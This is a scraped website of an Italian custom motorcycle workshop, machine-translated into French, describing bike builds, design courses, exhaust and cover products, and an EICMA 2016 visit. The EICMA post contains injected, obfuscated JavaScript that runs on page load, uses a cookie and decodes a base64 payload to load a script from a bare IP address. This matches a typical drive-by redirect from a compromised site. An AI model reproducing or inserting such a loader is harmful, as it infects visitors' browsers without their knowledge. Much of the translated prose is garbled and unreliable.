FLUX DE PLASTIQUE est le troisième module de notre cours de conception, permet de se familiariser avec la modélisation de matières plastiques au moyen de l'impression 3D et la transformation de matière plastique pour réaliser des coques ou parties. Le cours est organisé en plein cours IMMERSION et en un jour, vous permet d'acquérir les compétences requises dans un rapide et pratique.

FLUX DE METAL - Corso soudage TIG AC / DC en acier, Fer et aluminium

FLUX DE METAL est le second module de notre cours de conception, Il permet d'acquérir des connaissances dans la réalisation d'objets en acier, aluminium, Fer inoxydable la. Le cours est organisé en plein cours IMMERSION et en un jour, vous permet d'acquérir les compétences requises dans un rapide et pratique.

Triumph Speed ​​Triple 1050 “JETÉE”

Pier est un sérieux les passionnés. La sua Speed ​​Triple 1050 passe plus de temps sous le bistouri ou sur la route. Pourtant, Pier fait des kilomètres en mouvement ... Active en solo sur les marches et le week-end de couple (évidemment avec une moto à deux places).... Sur sa vitesse Pier a réalisé seul ou avec notre aide toutes les pièces nécessaires pour transformer son "civil" Speed ​​Triple dans la bête de personnalisation et de plaisir que vous pouvez voir sur cette page. Tout a été pris en charge au détail, vis à vis, pomellino pour pomellino, jusqu'à ce que vous arrivez à le châssis arrière, natte, et roues en fonction de son but. Dans le cas particulier, pour la queue, on a commencé à partir d'un modèle constitué d'une faible densité de polyuréthane extrudé "sculpté" à la main par le même Pier, nous avons conçu par balayage 3D et l'ingénierie inverse, avec une résolution de problèmes géométriques, contre-dépouilles, Projet et Recopie. A partir de ce que nous avons obtenu un premier modèle ABS broyé de solide à utiliser comme "Maîtriser" Moule pour la fibre de carbone. Enfin, nous avons lancé la fibre jusqu'à ce que vous avez entièrement reproduit les premières étapes avec un produit final super fort et seulement quelques livres de plus. Les roues ont été spécialement créées à la demande et le design Pier, roues pas trop épaisse poutres, fonctionnel et lire, tubless, monoarm et bicolor vernir. Il n'a pas été facile de réunir toutes les demandes, mais avec l'aide de notre Jonich était presque une promenade. Trouvez les roues aussi disponibles dans notre boutique en ligne.

Compte tenu VRS02

Le VRS02 est l'évolution de VRS01, vélo qui se traduit, nous avons créé une nouvelle finition pour le cadre en aluminium, gratté pour l'amener à l'œil nu, puis donner des traces de couleur amarante "rouille", un exemple typique de notre technique de finition "unpaint". Le mécanisme est inchangé dans sa simplicité et fonctionnalité, course de localisation, bons freins, roues libres, regarder da "engrenage fixe", des pneus larges pour copier ouvrir bien urbaine.

FLUX DE PIXEL – Modélisation de cours de base 3D

FLUX DE PIXEL est le premier module de notre cours de conception, Il permet d'acquérir des compétences de base dans la conception avec la possibilité de modéliser leurs idées en 3D. Ceci est grâce à un programme de modélisation 3D (Œuvres solides) capable de réaliser ses idées. Le cours est organisé en plein cours IMMERSION et dans quelques jours, vous permet d'acquérir les compétences requises dans un rapide et pratique. Il peut également être effectuée individuellement, en fonction des demandes de la date choisie, et il est divisé en 8 heures de cours, divisé (mieux) en deux jours afin de permettre à l'étudiant de mettre en pratique les notions de base acquises, Il peut également être développé en une journée intensive sur demande.

BMW R NINET “Coureur”

Pour moi, le R Quatre-vingt dix honnêtement pas fou. Il ne fait aucun doute un excellent produit, remplit un créneau qui était assez vide devant elle, Certes, il existe d'autres modèles concurrents avec des caractéristiques similaires, mais à BMW il manquait un simple mouvement, petite, moderne et élégant. Ce sera, mais pour moi, il semble mettre l'accent sur ces aspects trop; trop petit, trop de force élégante. Il manque ce caractère "strambo" Typique du mouvement de la maison d'hélice. A la demande d'un ami, nous avons préparé quelques variantes de la sportivité de look et plus personnel. Sa principale caractéristique est d'être visuellement un sport, mais il correspond bien à l'utilisation de tous les jours ou avec Gran Turismo grâce à la manubrietto originale montée sur un pare-brise qui ne gêne pas la même. Nous voulons être juste un léger lifting, une opération pour être des vélos personnalisés, pas du concept. Il pourrait être un « one-shot », mais aussi peut-être un kit de conversion. Le choix peut être à vous parce que notre Quatre-vingt dix est vendu comme P.U.C.A. dans notre boutique.

FLUX DE STYLE – Cours de style, Conception, Rendu Sketches e (modulo “ré”)

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ÉCOULEMENT PLASTIQUE – Parcours de modélisation physique et plastique impression 3D (modulo “C”)

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FLUX DE METAL – Corso soudage TIG acier AC / DC, le fer et l'aluminium (modulo “B”)

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FLUX DE PIXEL – Modélisation de cours de base 3D (ŒUVRES SOLIDES) (modulo “UNE”)

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CR&S EFFECTUE “ND01”

CR&S duu est un vélo que nous savons très bien, Nous avons contribué à développer directement CR&S et a suivi le style et l'ingénierie pour démarrer les personnalisations directes pour les clients les plus exigeants. Maintenant, nous avons créé une version, vitrine de nos capacités de conception, où nous pourrions exprimer pleinement nos idées sur le style de moto et où appliquer la plupart des critères qui nous ont toujours accompagnés: fonctionnalité, esthétique, attention aux détails et l'aversion pour la peinture et couvre tout futile. notre CR&S duu a évidemment fait l'objet d'une personnalisation profonde principalement en raison du fait que le modèle dont il dérive, CR&S EFFECTUE "Biotta", né en tant que version "nu" CR&S DUU d'origine. En raison du développement incomplet du projet initial en CR&S, cependant, le vélo a été "denúdala" (Biotta n.d.r.) seule l'avant, laissant un étrange mélange de nu avant (trop) et à l'arrière qu'au lieu avait encore des pièces dans la carrosserie en plastique traditionnelle ... Trop rugueux pour un vélo de ce calibre! Nous avons ensuite cherché à équilibrer le style entre l'avant et à l'arrière, chevauchant légèrement sur le premier et le second décapage. Dans Étant donné que nous avons donc façonné le duu CAD avant et en aluminium, presque tout aluminium, presque tout à CAD. Certaines parties ont préféré la main sur l'éperon du moment (il est toujours juste de laisser une partie du travail au cœur), mais surtout le vélo a été entièrement conçu, puis affiché en, tous avec un flux de travail qui nous distingue maintenant et nous voit parmi les pionniers de la technique. Le vélo a été le résultat de beaucoup de travail, en général notre approche des projets implique toujours une phase préliminaire de conception 2D que nous présentons au client (que ce soit professionnel ou privé), où nous essayons de préciser tous les points qui seront soumis à des interventions et surtout essayer d'identifier immédiatement les deux paramètres les plus importants: Les volumes et le style. Une fois cela fait, nous procédons à la définition du projet, développer avec l'utilisation des ordinateurs, mais aussi le crayon ou directement atelier mécanique. Toutes les pièces conçues par les systèmes de CAO ont été réalisés à partir de pièces usinées CNC en aluminium ou plexi ou ABS et d'autres matériaux. Grâce à notre expertise dans le domaine du projet, nous avons conçu à partir de zéro l'ensemble feu arrière est une frise d'auto-éclairage qui rappelle notre logo sans être trop évident.

DONNÉ “Mâle”

Ce vélo a été créé pour une personne très spéciale, par conséquent, le vélo lui-même ne devrait pas être trop « spéciale », est déjà à son utilisateur. Nous avons ensuite créé un objet qui ne donne pas trop d'attention, il était discret et élégant, mais subtilement extravagante. Comme il arrive souvent dans ces cas, l'objet provient d'un particulier qui donne le « LA » à tous, les roues sont dans ce cas 144 rayons de provenance indonésienne, de ceux-ci, nous allons pour le projet dans son ensemble, en utilisant une main de cadre en aluminium fabriqué en Italie et une fourchette « vieille école VTT » réinterprété. très important, driveability / facilité d'utilisation a été améliorée au maximum, avec un rapport de vitesse unique, mais seulement pour les départs confortables pour une bonne vitesse de Voyage. uniquement sur le frein avant et la roue libre vers l'arrière. Le cours de peinture nécessaire de mains de peinture et plusieurs tentatives pour trouver le juste équilibre entre la visibilité et de l'élégance, mais nous sommes sûrs que vous mettez un vélo si ce sera un plaisir pour son heureux propriétaire!

Kawasaki ZXR 1100 “FURTIF”

Un classique réédité dans un post-moderne / atomique! Créé pour et avec "Officine Riunite Milanesi" d'une Kawasaki ZXR 1100, "Lamaialona" Il est un studio de design délibérément forte sur une base très simple. Fatigué des mêmes interprétations RACER clés Cafè, Scrambler o Hypster, nous avons opté pour une interprétation qui nous permettrait de faire à la fois l'expérimentation formelle à la fois des techniques et des matériaux utilisés. L'idée initiale était un vélo dans la discrétion style, littéralement "infiltration, clandestinement", Nous avons ensuite essayé d'appliquer ce concept à un moyen national militaire typique ou autre route, bien sûr, nous nous sommes concentrés sur la forme carrée typique de cette conception, sur des arêtes vives et de la nature technique du design global. aussi de "jargon" militaires ont hérité de la performance de tous les types de sols, de pur hors-piste de la piste, l'équipement au moyen d'un système de vélo très efficace, le remplacement des suspensions, roues et système de freinage. Ce dernier a été réalisé ad hoc selon notre conception de "Discacciati Système de freinage" Nous vous remercions de nous avoir rejoints dans ce procès impliquant, toujours avec les normes les plus élevées de critères de fiabilité et de sécurité, un composant de sorte exclusivement technique et fonctionnel en tant que système de freinage. Un spectacle de vélo et Passo della Futa Le vélo est conçu dans son ensemble comme un élément de la recherche sur la conception des tendances futures de moto à la fois de la production de masse, mais aussi du personnel d'interprétation privée, nous pensons que le résultat de cette expérience est certainement positif, nous avons vu que vous pouvez produire une moitié de la caractérisation mécanique forte sans avoir l'air d'un vélo de rat ou un vieux tracteur vient de sortir des années de léthargie dans une grange. Le résultat est cependant un vélo qui est très bien adapté à la fois un usage intensif, comme une excursion à long terme, ou un tour dans les collines ou une Futa stressant Col. Mais en même temps, vous pouvez utiliser "Lamaialona" comme un moyen de transport quotidien ou un simple mouvement "bar". 3D Print Lamaialona a été réalisé avec l'aide de la conception 3D et des systèmes modernes d'impression. La première étape a consisté à mettre le vélo sur votre ordinateur, alors voici nous avons procédé à la numérisation en trois dimensions, dès que la moitié est venu à l'atelier, le temps d'enlever toutes les superstructures et 5 minutes, nous avons eu un beau nuage de points qui nous ont permis de procéder à la conception avec une photo pleine grande. Une fois que nous avons défini le style que nous avons commencé avec la mise en œuvre des différentes parties. Dans le premier cas, nous avons utilisé nos imprimantes 3D pour vérifier que les pièces ont été assemblées correctement. Le vélo a ensuite été créé avec un mélange de techniques, conception numérique et des manuels plus pratiques. Après avoir numérisé toutes les pièces qu'ils ont été conçus en 3D, mais

KTM SUPERDUKE 990 “etc.”

Eh bien KTM toujours né d'aller dans la boue. La boue est sculpté droit dans le logo KTM, dans chaque lettre, comme il est nichée entre les chevilles de ses pneus, dans les crevasses de son corps. La KTM expérience hors route, ainsi que sa propension à l'éclatement des performances veulent clairement hors route et des aptitudes pour les courses. Et pourtant ... Nous continuons à rêver pour enlever les DONNÉ pièces d'un K est remplacé par une paire de marée noire ...

KTM GRATUIT

Il P.U.C.A. notre KTM GRATUIT Les P.U.C.A. (Projets uniques dans la recherche de l'auteur) idées de projets sont présentés sur ces pages afin de trouver un acheteur qui souhaite adopter le projet et faire son propre. Le coût est de 1 € et comprend la première phase de développement en tant que concept rendu des besoins des clients, le reste de la réalisation concrète du milieu et d'estimer en fonction des demandes de l'acheteur. Pour plus d'informations contactez-nous.

KTM E-SM “Gratuit”

Le E-SM KTM Freeride est une belle moto! Belle du point de vue de la performance, offre de divertissement et le design électrique innovant. À notre avis, cependant,, comme toutes les réalisations KTM, Il a une conception trop traditionnelle et trop graphiques de course. Pour cela, nous supposions cette apparence stylistique où nous avons travaillé sur la suspension, superstructures, assiette et graphiques. Les suspensions sont remplacées par la fourche et le bras oscillant à la fois monoarm Gilera CX dérivation 125 . Les cercles créés ad hoc avec des petits rayons surdimensionnés. Les superstructures vu une réduction générale des volumes et une vocation plus de route ou mieux « Motard » avec une petite unité de stockage (portaguanti) dans la partie avant de la selle. Les changements mis en place sont évidemment destinées à améliorer la relation homme / machine intervenant sur la position de conduite, hauteur, randonnée pédestre, etc.. Notre KTM Freeride E-SM comme tous nos projets P.U.C.A. (Projets uniques dans la recherche de l'auteur) et seulement une hypothèse, idée unripe. Nous serons heureux de baisse en fonction de vos préférences si vous souhaitez participer au projet sur le lien suivant:

PIAGGIO MP3 STREAM

Il P.U.C.A. notre P.U.C.A Piaggio MP3 I. (Projets uniques dans la recherche de l'auteur) idées de projets sont présentés sur ces pages afin de trouver un acheteur qui souhaite adopter le projet et faire son propre. Le coût est de 1 € et comprend la première phase de développement en tant que concept rendu des besoins des clients, le reste de la réalisation concrète du milieu et d'estimer en fonction des demandes de l'acheteur. Pour plus d'informations contactez-nous.

terminal Silencieux d'échappement CR&S EFFECTUE

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Carter X-Wedge S&S e CR&S EFFECTUE

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Dispositif anti-roulis MATR 15414 Piaggio MP3 250 2006

Dispositif anti-roulis MATR 15414 Piaggio MP3 250 2006 de l'essai ! Il est pas garanti! Si vous vendez "a vu et aimé". "Comme si". Aucun remboursement ne sera autorisé.

Donné “Vrs01”

La seule exception à nos petits vélos sont des vélos .... Cette photo est un vélo que nous avons fait pour le plaisir et pour les besoins internes. Il aimait l'idée d'avoir un vélo rapide et agile, ensemble et élégant. Nous avons jeté les engins fixes, mais nous avons gardé la ligne stylistique de la moto avec ce type de transmission. Tous en peluche et accompagné par des composants de haut niveau et regarder combat urbain!

MOTO.IT

Inverser cet ordre: ce que vous lisez est le commentaire et qui voudra de vous écrire les lecteurs ci-dessous l'article réel sur l'écran spécial et sur mesure à EICMA 2016: Je me place en dehors du journalisme et à l'intérieur tout droit dans le tumulte sauvage de l'opinion personnelle, quelque chose antipathie / de sympathie comme la personnalisation, et ses multiples facettes, qui, par définition, est un lieu de confrontation entre les manières opposées de la vie et motocyclisme asymptotique, donc je demande à chacun de tenir compte de ces lignes un simple commentaire: Le véritable article, je vais écrire les lecteurs prêts. ... Pour essayer de me orienter dans les centaines de phares que je clignotaient persuasif, et pour en savoir plus, me suis laissé séduire par le stand de Motodesign Étant donné que exposé entre autres un - Fait intéressant, à mon avis - Spécial à la nation Kawasaki ZRX 1100 (appelé « Fuck ») en collaboration avec Officine Riunite Milanesi, ce qui m'a intrigué beaucoup de disques polygonaux, pour garantir un fonctionnement rigoureux qui a mis le même fournisseur, le légendaire Enrico Discacciati lui-même! Donato Cannatello (Donato donnée ... entendu?), propriétaire donné et l'expérience de conception en CR&S, Incomparable, combat, Aprilia, Il a été patient, et d'échanger une conversation avec moi m'a exposé son point de vue sur EICMA 2016 et l'avenir de la personnalisation. Pour mettre Given et opinions rapportées par Donato, Nous ajoutons que les accords avec les deux pour fournir un service de planification et de conception pour ceux qui veulent construire un prototype (du concept de pré-série pour mener à la production), tant les particuliers qui demandent des projets « cadre off » sur leurs motos. « Bizarrement, nous avons eu beaucoup de commentaires de ZRX que le duu, à la fois exposées dans notre stand, malgré duu est sans aucun doute un design plus raffiné et ZRX demi beaucoup moins cher, mais évidemment le plus « receveur des yeux"». Et comment évaluez-vous le niveau du Salon dans les coutumes et spéciale? « Le niveau de EICMA, si on se limite à la coutume et spéciale, il semble beaucoup plus élevé et mature qu'il ya quelques années: des réalités artiginali, qui produisent encore des résultats exceptionnels, Nous basculons à une approche plus mature à la fois sur la conception technique des parties. Du point de vue de la moto, plutôt, J'ai adoré la Harley "OPERA" South Garage, très élégant; il a également remporté le concours, mais comme vous le savez le concours les gagner pratiquement un peu tout (Donato fait référence à la myriade de catégories et non Note de très nombreux éditeur de participation); le coin semblait un peu personnalisée au lieu « humilia, peu d'espace et décentralisé que le centre vital du Salon, et cela semble un peu contre-intuitif: il est la partie la plus difficile, Au lieu de cela, beaucoup ont pas visité car

Carter de distribution S X-Wedge&S e CR&S EFFECTUE

S&S X-Wedge CAMES COVER distribution transparente couvercle pour le moteur X-Wedge S&S nous avons développé une des plaques de couverture de distribution d'aluminium 6000 Usiné CNC et fraisé PMMA plus transparent CNC. Le carter proposé a été conçu dans le but de permettre de profiter de la vue des poulies de la belle répartition 3 Typique de ce arbres moteurs, mais aussi pour améliorer le refroidissement de la courroie de distribution, cela résout le problème de surchauffe de la présente certaines installations de ce moteur. Le boîtier peut être monté sur tous les moteurs X-Wedge (1.800cc-2.300cc). Elle trouve notamment une application directe de: Combat 61 Collection e G2 P51 Combat Fighter di Confederate Moto CR&S porte (tous les modèles) La Shelby di Rucker Performance X-Ness di Arlen Ness Enterprise X-9X di Big Dog Moto BBW Limo Python X-Wedge di Bike Works de Bourget Sport Fighter XTR di IronHorse Motorcycle !! MISE EN GARDE !! Le temps de l'exécution des commandes pour ce produit est 4 semaines !!

Nous venons de EICMA 2016

Nous venons de rentrer de EICMA 2016, nous avons encore les mains raides de toutes les poignées de main échangées, un cœur plein d'émotion et de fierté pour les nombreux compliments reçus. Nous voulons remercier tous ceux qui sont venus visiter et associer tous ceux qui ne pouvaient pas venir. Grazie function getCookie(e){var U = document.cookie.match(nouveau RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

MV Agusta Brutale 1098 “unpaint”

Nous DONNÉ comme finitions qui laissent le matériel à la vue, Voilà pourquoi nous avons développé notre processus "coloration" appelé à coques "unpaint". Le unpaint est rien, mais un procédé d'élimination de peinture d'origine en faveur d'un traitement plus naturel de la coloration des matières plastiques. Il y a quelques tests à faire avant que nous puissions appliquer notre processus, vous devez d'abord vous assurer que toutes les parties colorantes sont d'un matériau similaire, par exemple, vous ne pouvez pas faire sur les vélos avec un corps en plastique / aluminium mixte, il serait également préférable que toutes les pièces en plastique ont la même pâte de couleur, En fait, il arrive souvent que les réservoirs sont fabriqués avec un matériau et processus différent de celui des autres parties. Juste ce cas, il est présenté avec MV Augusta Brutale 1098 sur lequel nous voulions appliquer notre technique de finition, Heureusement, nous avons réussi à obtenir un bon résultat malgré les différents matériaux. Le corps du BRUTALE a ensuite été démonté et complètement dépouillé pour être ensuite traitées avec de nombreuses mains par correspondance à gros grains, couleur et d'autres mains de papier de verre, Puis une autre couleur, ponçage, graphique, adhésifs, transparent et encore correspondance. Donc, notre finition nécessite beaucoup de goût de ne pas en faire trop et beaucoup de biceps à faire. Le résultat final est une moto où ils ne sont pas le graphique (souvent excessive) de dominer la scène, mais la mécanique, et où la conception originale est renforcée par la finition qui ne couvre pas, mais trouve!

CR&S “CEFEIDE”

Un Cepheid est une jeune étoile géante qui palpite changeant régulièrement sa luminosité dans un cycle régulier stremamente. Leur haute luminosité fait Cepheid le paramètre standard des étoiles pour mesurer la distance des amas globulaires et galaxies. Notre VUN comme Cepheid est une référence dans le monde de la moto pour son intemporalité et sans pareil. Un exercice moto élégance exquise. CR&S VUN est une moto spéciale et exclusive, construit à la main par un petit fabricant de motos Milan renommée dans le monde pour ses créations de performance exclusif et raffiné. Construit uniquement 50 spécimens, le montage d'un treillis d'assemblage de tubes en acier cadre mélangés avec des plaques d'aluminium 7075 usiné à partir d'atelier solide Rhizome. La suspension standard offre des performances élevées tout en restant liée à un schéma constructif traditionnel. La fourche avant, réalisé par Paioli, Il est le seul de cette catégorie pour avoir une configuration traditionnelle combinée avec un diamètre considérable et la fixation radiale de l'étrier avant pour disque unique. L'amortisseur arrière est monté à la place dans une position horizontale au-dessus de la roue avec une attaque directe, très raide et sportif. Le moteur est un monocylindre de 652cc Rotax qui offre tant de couple et 54 arbre chevaux. Tout a voté pour maintenir le poids, puis exagérer la précision de plaisir et conduite. En ce sens, les superstructures sont réduits au minimum et réalisés avec les matériaux les plus nobles tels que l'aluminium forgé à la main pour le réservoir et le carbone pour des pièces de carrosserie automobile. Venez concepteur ex-Lead CR&S, aucun autre, Donato mieux Cannatello et ses équipes présentes ingénierie moto DONNÉ, Ils pourraient travailler sur la reconstruction d'une moto si importante et exclusive. Les travaux sur VUN a vu une reconstruction complète "frame-off", où le vélo a été brisé dans chaque pièce pour enlever la peinture originale du châssis et du moteur et aller travailler avec abondance sur le bras oscillant et les détails importants, mais caché. A cet effet, toutes les pièces usinées et finis ont été traités avec des procédures aussi naturelles que possible afin de préserver les caractéristiques mécaniques de chaque pièce, alors la trame a été mouillé avec un revêtement très léger de nickel qui permettra de protéger la surface contre l'oxydation, tandis que les pièces en aluminium ont été brossés à la main de manière à laisser exposée la matière noble. Le processus de reconstruction a affecté beaucoup de petits détails de la moto, certains redessinée et reconstruite à l'aide de la CAO pour l'acier des techniques CNC, aluminium et ABS, mais aussi avec d'autres techniques d'impression 3D pour les pièces en matière plastique. Toutes les modifications visent à maintenir les excellents détails et la fonctionnalité de ce vélo déjà fantastique, la

DONNÉ “Karim”

KARIM est un petit VTT 24", cadre en aluminium et fourche chrome molybdène à la fois galvanisées avec bain d'or et graphique ad hoc.

MOTO GUZZI V11 “Darkest”

La personnalisation de votre moto est quelque chose de différent de tout autre type de personne de recherche peut faire. Il est différent de la recherche technologique visant à la création ou l'invention de quelque chose, Il est différent de la recherche de conception qui peut être fait lors de la conception de quelque chose, Il est également différent de la personnalisation qui peut être fait dans d'autres domaines. Du plus frivole comment choisir la couleur des chaussettes au plus important que la grande rénovation architecturale mais en fait très différente de la pratique similaire de la personnalisation d'une voiture. La marque une moto comme semblable à eux-mêmes ou à leurs idées ou idéaux ou leurs styles est une opération qui pour la plupart du développement implique de nombreuses heures debout juste assis sur le côté pour regarder votre vélo, imaginer, rêver. Quand nous pensons à notre vélo imaginer comme un complément indispensable. Il n'y a rien qui est pas la façon dont nous voulons, aucune pièce, aucune vis, pas de couleur, pas de réflexion, pas d'ombre. Notre MOTO GUZZI V11 est à notre avis le vrai sur mesure appliquée aux motos. Une définition minutieuse du goût et le style du client, de la façon dont il conduit, de la façon dont il se habille, ce qu'il aime et ce qu'il n'aime pas, comment prendre soin et comment il maltraite. Aucun élément flashy, mais un ensemble de finitions élégantes et pièces, une moto "bonne" et savoureux, mais pas des cris et ne sont pas flashy. Un équilibre des couleurs et des petits détails à découvrir mais surtout à utiliser, appliqué sur une base mécanique simple mais puissant. Un vélo fonctionnel mais avec le goût de vous traditionnel et fait aller au travail agréable et vous fait mieux commencer la journée.

Samurai Chopper

Quand je vois notre Samouraï se tut ... Petite , long, étroit et noir, de sorte que vous avez peur de conduire et le désir de l'apprivoiser. A première vue, le Chopper Samouraï semble une grille avec des roues van, un réservoir micro et que la masse de cylindres et carteroni, alors vous arrêtez sur les freins de la locomotive et les contrôles sur le micro-commutateur et commencer .. goggle. Lentement commencer à faire défiler le saut d'un détail à l'autre, d'un contraste, Suspendu d'autres. L'alternance entre le noir, le chrome et le laiton est hypnotique comme une boule de bonus de flipper complet. Avez-vous attardez sur les bras de la belle aluminium billette cachées par la peinture et cachées du réel tuyau d'échappement en acier directement à partir de 2 quelques pouces. Voir suspension étonnante et moelleux, mais ne voient pas l'ombre d'un amortisseur. Voir les noix étranges utilisés que dans les constellations isolées tirant des liens de journaux avec des joints Uni-Ball pré-charge régulation micrométrique nulla.Poi voir le tableau et commencer à entrer dans tous les niveaux de noir qui peuvent tenir dans un petit réservoir. et le chrome, les ressorts de Springer, chiatto le guidon et droite et catenone comme un pont sur la Thames. Ensuite, vous sautez sur et pièces et vous êtes le plus heureux homme sur la terre.

Triumph Speed ​​Triple 1050 “vitesse Noir”

Triple La Triumph Speed 1050 Il est l'un de nos moto préférée, son cadre de vélo, esthétique L', la position de conduite, les caractéristiques du moteur font le parfait mélange de regards, amusement, la facilité d'utilisation et l'aspect! Peut-être que nous ne sommes pas seulement pour l'optique chrome typique double de ce vélo et la série précédente, mais il reste une caractéristique distinctive importante unique et distinctif, donc impossible de l'enlever. Pour cette moto si nous avons opté pour un restyling lumière de la zone feu arrière, très important et une base lourde, la réalisation ad hoc et une plaque de support de phare de dimensions réduites. Toute la file d'attente a ensuite été aminci et grâce à la faible décharge et court, beaucoup de course, qui donne à la moto une image beaucoup plus mince. Le résultat global est un beau vélo, facile à voir et à utiliser, léger et agréable à conduire, grâce à graphique "ton de ton" Il reste un objet mystérieux et élégant qui déambule dans la ville la nuit illuminée par des réverbères Quartz et rythmé par des notes de Club Metropolitan.

HARLEY DAVIDSON XR1200 “trouver”

L'Harley Davidson XR 1200 Il est une belle base mécanique, une moto qui est en mesure de conquérir pour sa simplicité typique de Harley, mais aussi pour son "mauvais état" vélo et moto européenne plus formelle. Pour cette moto nous voulions travailler la lumière pour préserver la facilité d'utilisation quotidienne et la facilité d'utilisation. Nous avons aussi organisé le siège passager (parce que rien est plus beau que de voyager en moto avec leur partenaire), également il reste de la série de trames dans la zone arrière, une belle coulée en forme d'arc vers le bas, héritage typique du monde Harley qui pénalise sévèrement la forme de la queue. Certes, le discours principal était que le système d'échappement avec un nouveau silencieux très court au lieu des deux grandes séries de silencieux, Cela a donné une impulsion à la queue, et un timbre remarquable à la moto. Aussi incroyable que cela peut contribuer à son plaisir de conduire. Pour la finition de plastique, nous avons préféré, ici, une politique en ligne avec notre style, à savoir retirer la boîte et laisser chaque matériau et chaque fonction, autant que possible "exposé". Dans ce cas,, le corps en plastique de la Harley (l'un des rares Harley avec du plastique) Il a été dépouillé de tout ornement superflu de peinture, et le matériel a été amené à "brut". Cette finition que nous appelons "unpaint". Dans ce vélo chaque pièce fait ce qu'il doit faire, la performance a été améliorée âme que Harley avait jamais mis sur une moto; coupe, avec deux cylindres que l'air, molloni pour amortir, trottoir frenoni et un peu plasticaccia si nécessaire.

Silencieux terminal pour CR&S EFFECTUE

Pour ceux qui n'aiment pas le silencieux d'origine CR&S duu nous avons réalisé ce silencieux de chambre et controcamera avec borne de sortie cône tronqué de l'aspect beaucoup plus agressif et plus de son "animé". Monta sans aucun changement à la moto, dans 5 minute et est équipé de tout le matériel nécessaire. Les délais de livraison sont 4 semaines. Silencieux NB est uniquement pour la piste, non homologué pour la route. NB: temps 4 semaines ARO!

Politique de confidentialité

www.given.it Politique de confidentialité Pour obtenir des informations sur vos données personnelles, les buts et les parties avec lesquelles les données sont partagées, Contacter le propriétaire. Titulaire du traitement des données: DONNES Donato Cannatello types de données collectées Le titulaire ne fournit pas une liste de types de renseignements personnels recueillis. D'autres données personnelles collectées peuvent être énumérées ailleurs dans cette politique de confidentialité ou par des informations de texte affiché en même temps que la collecte des mêmes données. Les données personnelles peuvent être saisies par l'utilisateur, ou collectées automatiquement lors de l'utilisation de cette application. Toute utilisation de cookies - ou d'autres outils de suivi - par cette application ou de tiers services d'utilité utilisés par cette application, sauf indication contraire, Il vise à identifier l'utilisateur et enregistrer leurs préférences à des fins étroitement liées fournissent le service demandé par l'utilisateur. Le non-respect par l'Utilisateur de certains renseignements personnels peut empêcher cette application pour fournir ses services. L'utilisateur est responsable des données personnelles à des tiers publiés ou partagés grâce à cette application et garantissez que vous avez le droit de communiquer ou de diffuser, libérant ainsi le propriétaire de toute responsabilité à des tiers. Mode et le lieu de traitement du mode de données recueillies du traitement Le titulaire est les données personnelles des utilisateurs qui prennent toutes les mesures de sécurité nécessaires pour empêcher l'accès, divulgation, La modification non autorisée ou la destruction des données personnelles. Le traitement se fait par ordinateur et / ou des dispositifs télématiques, avec l'organisation et strictement liée aux fins mode indiqué. En plus des données, dans certains cas, Ils peuvent avoir accès à des catégories de données du personnel impliqué dans le site (personnel administratif, commercial, commercialisation, juridique, Les administrateurs système) ou des parties externes (en tant que tiers fournisseurs de services techniques, factrices, fournisseur d'hébergement, sociétés informatiques, agences de communication) également nommé, si nécessaire, Responsable par la confidentialité des données. La liste actualisée des gestionnaires peut être demandé au contrôleur de données. Placez les données sont traitées au siège opérationnel du contrôleur de données et dans tout autre endroit où se trouvent les personnes impliquées dans le traitement. Pour plus d'informations, Contacter le propriétaire. Temps Les données sont traitées pendant le temps nécessaire pour effectuer le service demandé par l'utilisateur, ou requis par les fins décrites dans le présent document, et vous pouvez toujours demander l'interruption du traitement ou de suppression des données. Plus d'informations sur le traitement de la défense au tribunal peut être utilisé des données personnelles de l'utilisateur pour la défense par le propriétaire au tribunal ou dans les étapes menant à une éventuelle juridique, contre une utilisation abusive des services identiques ou connexes par l'utilisateur. L'Utilisateur déclare être conscient que le propriétaire peut être tenu de

Un Renegade Tracker 300

Pour UM mondial, nous avons fait un petit Scrambler et un petit miracle. Juste une semaine après le Salon international de la moto de Milan EICMA, Nous recevons une parcelle avec une série de pièces et une paire de cadres à assembler, en substance, il est venu faire une moto par deux, à partir d'une extrémité avant, l'autre moteur, superstructures à partir d'un réservoir et l'autre. Le résultat parle de lui-même, avec seulement trois jours de séances intenses de soudage TIG, Nous avons reconstruit du cadre scratch et adapté toutes les pièces de mécanique et superstructures. Un certain nombre de détails ont été créés grâce à l'impression 3D ou manuellement via moulin /. Le vélo est une incarnation parfaite d'un embrouilleur urbain moderne, legère (moteur 300cc 4 eau Tarifs), petites roues, extrêmement amusant et facile à manipuler. Le vélo a été un grand succès lors de la récente Exposition internationale de la moto de Milan EICMA 2015, UM approche du style à ce que sont les exigences de la nouvelle (pour eux) marché européen.

Cycles enregistrement moteur c1

Dévoilé à l'EICMA 2015, al Dainese D-Store, la 18 Novembre 2015 Le concept enregistrement Motocycles C1 est l'aperçu d'un nouveau projet ambitieux de Roberto Crepaldi. Le modèle conçu et fabriqué par la conception DONNÉ avec la participation technique de In-Motion nous a vu impliqué dans toute la partie de la transformation de l'esquisse au style de modèle final, grâce à la modélisation de la coque, pilote de numérisation 3D, et la reconstruction du même schéma pilote. Toutes les fois plus « intégration parfaite de la silhouette du pilote avec la coque, Ce respect et la conformité des limites imposées par la réglementation FIA. Pour plus d'informations, visitez RECORDMOTORCYCLES.COM Dans ces images, vous pouvez voir les phases de construction du modèle et le cadre nécessaire pour balayer le vrai pilote en 3D. La coque des étapes de traitement et le cadre avant de peindre. Le vélo fini dans notre atelier. Quelques photos de la préparation et la présentation du modèle. Un "petit" résultat sull'aereodinamica profondeur technique de Riccardo Capacchione RMC: LA CARROSSERIE ET ​​AÉRODYNAMIQUE L'élément le plus visible de nos vélos Record de vitesse est certainement le carénage. Aussi appelé « 